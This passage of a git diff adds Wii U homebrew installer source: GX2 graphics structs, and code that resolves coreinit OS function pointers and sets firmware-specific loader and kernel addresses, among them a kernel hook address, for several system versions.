struct _GX2Sampler { + u32 regs[3]; +} GX2Sampler; + +typedef struct _GX2AttribStream { + u32 location; + u32 buffer; + u32 offset; + s32 format; + s32 index_type; + u32 divisor; + u32 destination_selector; + s32 endian_swap; +} GX2AttribStream; + +typedef struct _GX2FetchShader { + s32 type; + u32 reg; + u32 shader_size; + void *shader_program; + u32 attributes_count; + u32 divisor[3]; +} GX2FetchShader; + +typedef struct _GX2AttribVar +{ + const char *name; + s32 var_type; + u32 array_count; + u32 location; +} GX2AttribVar; + + +typedef struct _GX2UniformBlock { + const char *name; + u32 location; + u32 block_size; +} GX2UniformBlock; + +typedef struct _GX2UniformInitialValue { + f32 value[4]; + u32 offset; +} GX2UniformInitialValue; + +typedef struct _GX2SamplerVar +{ + const char *name; + s32 sampler_type; + u32 location; +} GX2SamplerVar; + +typedef struct _GX2UniformVar +{ + const char *name; + s32 var_type; + u32 array_count; + u32 offset; + u32 block_index; +} GX2UniformVar; + +typedef struct _GX2VertexShader { + u32 regs[52]; + u32 shader_size; + void *shader_data; + s32 shader_mode; + u32 uniform_blocks_count; + GX2UniformBlock *uniform_block; + u32 uniform_vars_count; + GX2UniformVar *uniform_var; + u32 initial_values_count; + GX2UniformInitialValue *initial_value; + u32 loops_count; + void *loops_data; + u32 sampler_vars_count; + GX2SamplerVar *sampler_var; + u32 attribute_vars_count; + GX2AttribVar *attribute_var; + u32 data[6]; + u32 shader_program_buffer[16]; +} GX2VertexShader; + +typedef struct _GX2PixelShader { + u32 regs[41]; + u32 shader_size; + void *shader_data; + s32 shader_mode; + u32 uniform_blocks_count; + GX2UniformBlock *uniform_block; + u32 uniform_vars_count; + GX2UniformVar *uniform_var; + u32 initial_values_count; + GX2UniformInitialValue *initial_value; + u32 loops_count; + void *loops_data; + u32 sampler_vars_count; + GX2SamplerVar *sampler_var; + u32 shader_program_buffer[16]; +} GX2PixelShader; + +static const u32 attribute_dest_comp_selector[20] = { + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, + GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW +}; + +static const u32 texture_comp_selector[54] = { + GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, + GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01 +}; + +typedef struct _GX2Color { + u8 r, g, b, a; +} GX2Color; + +typedef struct _GX2ColorF32 { + f32 r, g, b, a; +} GX2ColorF32; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/installer/src/dynamic_libs/os_functions.c b/installer/src/dynamic_libs/os_functions.c new file mode 100644 index 0000000..2923bcd --- /dev/null +++ b/installer/src/dynamic_libs/os_functions.c @@ -0,0 +1,344 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "common/common.h" +#include "os_functions.h" + +unsigned int coreinit_handle __attribute__((section(".data"))) = 0; + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Lib handle functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); +EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Security functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, OSGetSecurityLevel, void); +EXPORT_DECL(int, OSForceFullRelaunch, void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Thread functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, OSCreateThread, void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); +EXPORT_DECL(int, OSResumeThread, void *thread); +EXPORT_DECL(int, OSSuspendThread, void *thread); +EXPORT_DECL(int, OSIsThreadTerminated, void *thread); +EXPORT_DECL(int, OSIsThreadSuspended, void *thread); +EXPORT_DECL(int, OSSetThreadPriority, void * thread, int priority); +EXPORT_DECL(int, OSJoinThread, void * thread, int * ret_val); +EXPORT_DECL(void, OSDetachThread, void * thread); +EXPORT_DECL(void, OSSleepTicks, u64 ticks); +EXPORT_DECL(u64, OSGetTick, void); +EXPORT_DECL(u64, OSGetTime, void); +EXPORT_DECL(void, OSTicksToCalendarTime, u64 time, OSCalendarTime * calendarTime); + + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Mutex functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(void, OSInitMutex, void* mutex); +EXPORT_DECL(void, OSLockMutex, void* mutex); +EXPORT_DECL(void, OSUnlockMutex, void* mutex); +EXPORT_DECL(int, OSTryLockMutex, void* mutex); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! System functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(u64, OSGetTitleID, void); +EXPORT_DECL(void, OSGetArgcArgv, int* argc, char*** argv); +EXPORT_DECL(void, __Exit, void); +EXPORT_DECL(void, OSFatal, const char* msg); +EXPORT_DECL(void, OSSetExceptionCallback, u8 exceptionType, exception_callback newCallback); +EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); +EXPORT_DECL(void, DCStoreRange, const void *addr, u32 length); +EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); +EXPORT_DECL(void*, OSEffectiveToPhysical, const void*); +EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); +EXPORT_DECL(int *, __gh_errno_ptr, void); + +EXPORT_DECL(void, OSScreenInit, void); +EXPORT_DECL(unsigned int, OSScreenGetBufferSizeEx, unsigned int bufferNum); +EXPORT_DECL(int, OSScreenSetBufferEx, unsigned int bufferNum, void * addr); +EXPORT_DECL(int, OSScreenClearBufferEx, unsigned int bufferNum, unsigned int temp); +EXPORT_DECL(int, OSScreenFlipBuffersEx, unsigned int bufferNum); +EXPORT_DECL(int, OSScreenPutFontEx, unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); +EXPORT_DECL(int, OSScreenEnableEx, unsigned int bufferNum, int enable); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Memory functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeapEx); +EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeap); +EXPORT_VAR(unsigned int *, pMEMFreeToDefaultHeap); + +EXPORT_DECL(int, MEMGetBaseHeapHandle, int mem_arena); +EXPORT_DECL(unsigned int, MEMGetAllocatableSizeForFrmHeapEx, int heap, int align); +EXPORT_DECL(void *, MEMAllocFromFrmHeapEx, int heap, unsigned int size, int align); +EXPORT_DECL(void, MEMFreeToFrmHeap, int heap, int mode); +EXPORT_DECL(void *, MEMAllocFromExpHeapEx, int heap, unsigned int size, int align); +EXPORT_DECL(int , MEMCreateExpHeapEx, void* address, unsigned int size, unsigned short flags); +EXPORT_DECL(void *, MEMDestroyExpHeap, int heap); +EXPORT_DECL(void, MEMFreeToExpHeap, int heap, void* ptr); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! MCP functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, MCP_Open, void); +EXPORT_DECL(int, MCP_Close, int handle); +EXPORT_DECL(int, MCP_TitleCount, int handle); +EXPORT_DECL(int, MCP_TitleList, int handle, int *res, void *data, int count); +EXPORT_DECL(int, MCP_GetOwnTitleInfo, int handle, void * data); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Loader functions (not real rpl) +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, LiWaitIopComplete, int unknown_syscall_arg_r3, int * remaining_bytes); +EXPORT_DECL(int, LiWaitIopCompleteWithInterrupts, int unknown_syscall_arg_r3, int * remaining_bytes); +EXPORT_DECL(void, addr_LiWaitOneChunk, void); +EXPORT_DECL(void, addr_sgIsLoadingBuffer, void); +EXPORT_DECL(void, addr_gDynloadInitialized, void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Kernel function addresses +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(void, addr_PrepareTitle_hook, void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Other function addresses +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(void, DCInvalidateRange, void *buffer, uint32_t length); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Energy Saver functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//Burn-in Reduction +EXPORT_DECL(int, IMEnableDim,void); +EXPORT_DECL(int, IMDisableDim,void); +EXPORT_DECL(int, IMIsDimEnabled,int * result); +//Auto power down +EXPORT_DECL(int, IMEnableAPD,void); +EXPORT_DECL(int, IMDisableAPD,void); +EXPORT_DECL(int, IMIsAPDEnabled,int * result); +EXPORT_DECL(int, IMIsAPDEnabledBySysSettings,int * result); + + +EXPORT_DECL(int, IOS_Ioctl,int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); +EXPORT_DECL(int, IOS_IoctlAsync,int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len, void *cb, void *cbarg); +EXPORT_DECL(int, IOS_Open,char *path, unsigned int mode); +EXPORT_DECL(int, IOS_Close,int fd); +void InitAcquireOS(void) +{ + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Lib handle functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + EXPORT_FUNC_WRITE(OSDynLoad_Acquire, (int (*)(const char*, unsigned *))OS_SPECIFICS->addr_OSDynLoad_Acquire); + EXPORT_FUNC_WRITE(OSDynLoad_FindExport, (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport); + + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); +} + +void InitOSFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + + InitAcquireOS(); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Security functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSGetSecurityLevel); + OS_FIND_EXPORT(coreinit_handle, OSForceFullRelaunch); + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! System functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSFatal); + OS_FIND_EXPORT(coreinit_handle, OSGetTitleID); + OS_FIND_EXPORT(coreinit_handle, OSGetArgcArgv); + OS_FIND_EXPORT(coreinit_handle, OSSetExceptionCallback); + OS_FIND_EXPORT(coreinit_handle, DCFlushRange); + OS_FIND_EXPORT(coreinit_handle, DCStoreRange); + OS_FIND_EXPORT(coreinit_handle, ICInvalidateRange); + OS_FIND_EXPORT(coreinit_handle, OSEffectiveToPhysical); + OS_FIND_EXPORT(coreinit_handle, __os_snprintf); + OS_FIND_EXPORT(coreinit_handle, __gh_errno_ptr); + + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &__Exit); + + OS_FIND_EXPORT(coreinit_handle, OSScreenInit); + OS_FIND_EXPORT(coreinit_handle, OSScreenGetBufferSizeEx); + OS_FIND_EXPORT(coreinit_handle, OSScreenSetBufferEx); + OS_FIND_EXPORT(coreinit_handle, OSScreenClearBufferEx); + OS_FIND_EXPORT(coreinit_handle, OSScreenFlipBuffersEx); + OS_FIND_EXPORT(coreinit_handle, OSScreenPutFontEx); + OS_FIND_EXPORT(coreinit_handle, OSScreenEnableEx); + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Thread functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSCreateThread); + OS_FIND_EXPORT(coreinit_handle, OSResumeThread); + OS_FIND_EXPORT(coreinit_handle, OSSuspendThread); + OS_FIND_EXPORT(coreinit_handle, OSIsThreadTerminated); + OS_FIND_EXPORT(coreinit_handle, OSIsThreadSuspended); + OS_FIND_EXPORT(coreinit_handle, OSJoinThread); + OS_FIND_EXPORT(coreinit_handle, OSSetThreadPriority); + OS_FIND_EXPORT(coreinit_handle, OSDetachThread); + OS_FIND_EXPORT(coreinit_handle, OSSleepTicks); + OS_FIND_EXPORT(coreinit_handle, OSGetTick); + OS_FIND_EXPORT(coreinit_handle, OSGetTime); + OS_FIND_EXPORT(coreinit_handle, OSTicksToCalendarTime); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Mutex functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSInitMutex); + OS_FIND_EXPORT(coreinit_handle, OSLockMutex); + OS_FIND_EXPORT(coreinit_handle, OSUnlockMutex); + OS_FIND_EXPORT(coreinit_handle, OSTryLockMutex); + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! MCP functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, MCP_Open); + OS_FIND_EXPORT(coreinit_handle, MCP_Close); + OS_FIND_EXPORT(coreinit_handle, MCP_TitleCount); + OS_FIND_EXPORT(coreinit_handle, MCP_TitleList); + OS_FIND_EXPORT(coreinit_handle, MCP_GetOwnTitleInfo); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Memory functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap); + OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); + + OS_FIND_EXPORT(coreinit_handle, MEMGetBaseHeapHandle); + OS_FIND_EXPORT(coreinit_handle, MEMGetAllocatableSizeForFrmHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMAllocFromFrmHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMFreeToFrmHeap); + OS_FIND_EXPORT(coreinit_handle, MEMAllocFromExpHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMCreateExpHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMDestroyExpHeap); + OS_FIND_EXPORT(coreinit_handle, MEMFreeToExpHeap); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Other function addresses + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, DCInvalidateRange); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Energy Saver functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //Burn-in Reduction + OS_FIND_EXPORT(coreinit_handle, IMEnableDim); + OS_FIND_EXPORT(coreinit_handle, IMDisableDim); + OS_FIND_EXPORT(coreinit_handle, IMIsDimEnabled); + //Auto power down + OS_FIND_EXPORT(coreinit_handle, IMEnableAPD); + OS_FIND_EXPORT(coreinit_handle, IMDisableAPD); + OS_FIND_EXPORT(coreinit_handle, IMIsAPDEnabled); + OS_FIND_EXPORT(coreinit_handle, IMIsAPDEnabledBySysSettings); + + OS_FIND_EXPORT(coreinit_handle, IOS_Ioctl); + OS_FIND_EXPORT(coreinit_handle, IOS_IoctlAsync); + OS_FIND_EXPORT(coreinit_handle, IOS_Open); + OS_FIND_EXPORT(coreinit_handle, IOS_Close); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Special non library functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + if(OS_FIRMWARE == 532 || OS_FIRMWARE == 540) + { + EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100FFA4); // loader.elf + EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100FE90); // loader.elf + EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007EC); // loader.elf + EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF18558); // kernel.elf + + EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19D00); // loader.elf + EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13C3C); // loader.elf + } + else if(OS_FIRMWARE == 500 || OS_FIRMWARE == 510) + { + EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100FBC4); + EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100FAB0); + EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007EC); + EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF18534); + + EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19D00); + EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13C3C); + } + else if(OS_FIRMWARE == 410) + { + EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100F78C); + EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100F678); + EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007F8); + EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF166DC); + + EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19CC0); + EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13BFC); + } + else if(OS_FIRMWARE == 400) //same for 402 and 403 + { + EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100F78C); + EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100F678); + EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007F8); + EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF15E70); + + EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19CC0); + EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13BFC); + } + else if(OS_FIRMWARE == 550) + { + EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x01010180); + EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0101006C); + EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x0100080C); + EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF184E4); + + EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19E80); + EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13DBC); + } + else if(OS_FIRMWARE == 310) + { + EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100C4E4); + EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100C3D4); + EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010004D8); + EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF15A0C); + + EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19340); + EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE1329C); + } + else if(OS_FIRMWARE == 300) + { + EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100C4E4); + EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100C3D4); + EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010004D8); + EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF15974); + + EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19340); + EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE1329C); + } + else + { + OSFatal("Missing all OS specific addresses."); + } +} diff --git a/installer/src/dynamic_libs/os_functions.h b/installer/src/dynamic_libs/os_functions.h new file mode 100644 index 0000000..3d58932 --- /dev/null +++ b/installer/src/dynamic_libs/os_functions.h @@ -0,0 +1,182 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __OS_FUNCTIONS_H_ +#define __OS_FUNCTIONS_H_ + +#include +#include "common/os_defs.h" +#include "os_types.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define BUS_SPEED 248625000 +#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) +#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) +#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) + +#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) +#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) + +#define FLUSH_DATA_BLOCK(addr) asm volatile("dcbf 0, %0; sync" : : "r"(((addr) & ~31))) +#define INVAL_DATA_BLOCK(addr) asm volatile("dcbi 0, %0; sync" : : "r"(((addr) & ~31))) + +#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; +#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); + + +#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val + +#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ + OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ + if(!funcPointer) \ + OSFatal("Function " # func " is NULL"); \ + EXPORT_FUNC_WRITE(func, funcPointer); + +#define OS_FIND_EXPORT_EX(handle, func, func_p) \ + funcPointer = 0; \ + OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ + if(!funcPointer) \ + OSFatal("Function " # func " is NULL"); \ + EXPORT_FUNC_WRITE(func_p, funcPointer); + +#define OS_MUTEX_SIZE 44 + +/* Handle for coreinit */ +extern unsigned int coreinit_handle; +void InitOSFunctionPointers(void); +void InitAcquireOS(void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Lib handle functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* OSDynLoad_Acquire)(const char* rpl, u32 *handle); +extern int (* OSDynLoad_FindExport)(u32 handle, int isdata, const char *symbol, void *address); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Security functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* OSGetSecurityLevel)(void); +extern int (* OSForceFullRelaunch)(void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Thread functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* OSCreateThread)(void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); +extern int (* OSResumeThread)(void *thread); +extern int (* OSSuspendThread)(void *thread); +extern int (* OSIsThreadTerminated)(void *thread); +extern int (* OSIsThreadSuspended)(void *thread); +extern int (* OSJoinThread)(void * thread, int * ret_val); +extern int (* OSSetThreadPriority)(void * thread, int priority); +extern void (* OSDetachThread)(void * thread); +extern void (* OSSleepTicks)(u64 ticks); +extern u64 (* OSGetTick)(void); +extern u64 (* OSGetTime)(void); +extern void (*OSTicksToCalendarTime)(u64 time, OSCalendarTime *calendarTime); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Mutex functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern void (* OSInitMutex)(void* mutex); +extern void (* OSLockMutex)(void* mutex); +extern void (* OSUnlockMutex)(void* mutex); +extern int (* OSTryLockMutex)(void* mutex); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! System functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern u64 (* OSGetTitleID)(void); +extern void (* OSGetArgcArgv)(int* argc, char*** argv); +extern void (* __Exit)(void); +extern void (* OSFatal)(const char* msg); +extern void (* DCFlushRange)(const void *addr, u32 length); +extern void (* DCStoreRange)(const void *addr, u32 length); +extern void (* ICInvalidateRange)(const void *addr, u32 length); +extern void* (* OSEffectiveToPhysical)(const void*); +extern int (* __os_snprintf)(char* s, int n, const char * format, ...); +extern int * (* __gh_errno_ptr)(void); + +extern void (*OSScreenInit)(void); +extern unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); +extern int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); +extern int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); +extern int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); +extern int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); +extern int (*OSScreenEnableEx)(unsigned int bufferNum, int enable); + +typedef unsigned char (*exception_callback)(void * interruptedContext); +extern void (* OSSetExceptionCallback)(u8 exceptionType, exception_callback newCallback); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! MCP functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* MCP_Open)(void); +extern int (* MCP_Close)(int handle); +extern int (* MCP_TitleCount)(int handle); +extern int (* MCP_TitleList)(int handle, int *res, void *data, int count); +extern int (* MCP_GetOwnTitleInfo)(int handle, void * data); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! LOADER functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern int (* LiWaitIopComplete)(int unknown_syscall_arg_r3, int * remaining_bytes); +extern int (* LiWaitIopCompleteWithInterrupts)(int unknown_syscall_arg_r3, int * remaining_bytes); +extern void (* addr_LiWaitOneChunk)(void); +extern void (* addr_sgIsLoadingBuffer)(void); +extern void (* 